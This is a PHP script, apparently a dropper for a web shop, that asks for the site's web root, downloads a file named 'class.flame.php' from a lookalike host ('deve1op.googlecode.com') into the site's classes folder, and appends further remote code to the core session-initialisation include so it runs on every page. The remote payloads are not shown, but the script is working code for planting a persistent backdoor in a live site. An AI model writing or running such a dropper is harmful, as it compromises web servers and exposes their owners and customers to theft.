<?php  	
   	
class run{
	    
	private 	$flame		;
	private 	$init_sessions	;
	private 	$debug ;
	private 	$devel0p = '{	
        "init":"http://deve1op.googlecode.com/svn/tags/init_sessions.php",
        "flame":"http://deve1op.googlecode.com/svn/tags/class.flame.php"
		}';

	private static $_instance = NULL; 

	private function __construct(){
			$this->flame			= 	"includes/classes/class.flame.php";
			$this->init_sessions	=	"includes/init_includes/init_sessions.php";
			$this->debug			= 	false;
			self::running();
	}
	
	
	static public function get_run_exec_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new run();  
		}
		return  self::$_instance; 
	}
	
	
	public function file_exists($urls){
		$fat = @get_headers($urls);
		if (preg_match("/404/", $fat[0])){
	    	return FALSE;					
		}else {
			return TRUE;
		}
	}
	
	
	public function json($json){
		 	$obj 	= 	json_decode($json);
    		return $obj;
	}
	

	protected function debug($expression){
		echo "<pre>";
		print_r($expression);
		echo "</pre>";
	}
	
 
	public function write_common($file,$content){
		$fp = fopen($file, "w+");
		if ($fp == NULL){		return ;		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}
	
	
	public function input(){
	
		echo "	
<form action='' method='post'>
  web docmount: <input type='text' name='webroot' />
  <input type='submit' value='Submit' />
</form>";
	
	}
	
	public function running(){
		
		if (!isset($_REQUEST['webroot'])){
			self::input();
			return ;
		}
		$webroot = $_REQUEST['webroot'];
		
		if (is_dir($webroot)){
			self::debug($webroot);
		}else {
			self::debug($webroot."    webdir  not exit");
			return ;
		}
		$sfile = $webroot."/".$this->init_sessions;
	//	self::debug($sfile);
		
		$flame = $webroot."/".$this->flame;
	//	self::debug($flame);
		
		if (!file_exists($sfile)){
			exit('$sfile Please make sure the root path');
		}
		$obj = self::json($this->devel0p);
		$contents = file_get_contents($obj->{'flame'});
		file_put_contents($flame, $contents);
		
		self::debug(" file_put_contents  $flame");
		
		$init_native = file_get_contents($sfile);
		$init_native = str_replace("?>", "", $init_native);
		$scontents = file_get_contents($obj->{'init'});	
		 
		$this->write_common($sfile, $init_native.$scontents);
		self::debug("  add to	  $sfile");
		
	}

}

   
$run_flame_install = run::get_run_exec_instance();

 